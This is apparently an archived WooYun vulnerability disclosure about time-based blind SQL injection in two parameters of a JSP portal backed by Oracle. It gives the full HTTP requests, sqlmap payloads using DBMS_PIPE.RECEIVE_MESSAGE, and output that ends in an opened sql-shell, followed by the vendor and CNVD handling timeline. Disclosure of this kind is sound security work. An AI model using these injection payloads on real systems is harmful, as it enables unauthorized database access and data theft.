乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-01: 细节已通知厂商并且等待厂商处理中 2015-12-04: 厂商已经确认,细节仅向厂商公开 2015-12-14: 细节向核心白帽子及相关领域专家公开 2015-12-24: 细节向普通白帽子公开 2016-01-03: 细节向实习白帽子公开 2016-01-18: 细节向公众公开
RT
0x01 漏洞站点
**.**.**.**
0x02 漏洞类型
布尔类型盲注
0x03 漏洞请求参数第一处
GET /sig/jsp/portal/articleDetail.jsp?articleTypeId=1&authorName=-1&keyword=Operational%20research%20activities;Sustainable%20competitive%20advantage;Strategic%20resource;Dynamic%20capabilities&preceptor=null&subject=4af5db622c9a8b23012c9aa2b6e30009 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://**.**.**.**:80/Cookie: JSESSIONID=4B9585743B61D81B2B77629E7E6EAEA4; BAIDUID=F956C96A974341E1ADEE6111EF968CDF:FG=1Host: **.**.**.**Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*
关键字:authorName第二处
GET /sig/jsp/portal/leftmain.jsp?ifExpert=1&ifteamInfo=-1&subject=8a8a8aaf250f912101250f988c9d0002&subjectName=%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%C4%BF%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EB%BC%A8%D0%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%D0%BE%EF%BF%BD&subjectType=2 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://**.**.**.**:80/Cookie: JSESSIONID=4B9585743B61D81B2B77629E7E6EAEA4; BAIDUID=F956C96A974341E1ADEE6111EF968CDF:FG=1Host: **.**.**.**Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*
一处关键字ifteamInfo0x04 漏洞利用工具
sqlmap
---Place: GETParameter: authorName Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: articleTypeId=1&authorName=-1' AND 3861=DBMS_PIPE.RECEIVE_MESSAGE(CHR(104)||CHR(73)||CHR(114)||CHR(107),5) AND 'aQna'='aQna&keyword=Operational research activities;Sustainable competitive advantage;Strategic resource;Dynamic capabilities&preceptor=null&subject=4af5db622c9a8b23012c9aa2b6e30009---[21:04:12] [INFO] the back-end DBMS is Oracleweb application technology: JSPback-end DBMS: Oracle
---Place: GETParameter: ifteamInfo Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: ifExpert=1&ifteamInfo=-1' AND 4436=DBMS_PIPE.RECEIVE_MESSAGE(CHR(76)||CHR(75)||CHR(88)||CHR(74),5) AND 'ehsf'='ehsf&subject=8a8a8aaf250f912101250f988c9d0002&subjectName=%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%C4%BF%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EB%BC%A8%D0%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%D0%BE%EF%BF%BD&subjectType=2---[21:16:54] [INFO] the back-end DBMS is Oracleweb application technology: JSPback-end DBMS: Oracle
[21:19:01] [INFO] the back-end DBMS is Oracleweb application technology: JSPback-end DBMS: Oracle[21:19:01] [INFO] testing if current user is DBAcurrent user is DBA: False[21:19:01] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTERsql-shell>
过滤
危害等级:中
漏洞Rank:8
确认时间:2015-12-04 14:47
CNVD确认并复现所述情况,已经转 由CNCERT向工信部上报,由其后续协调网站管理单位处置。
暂无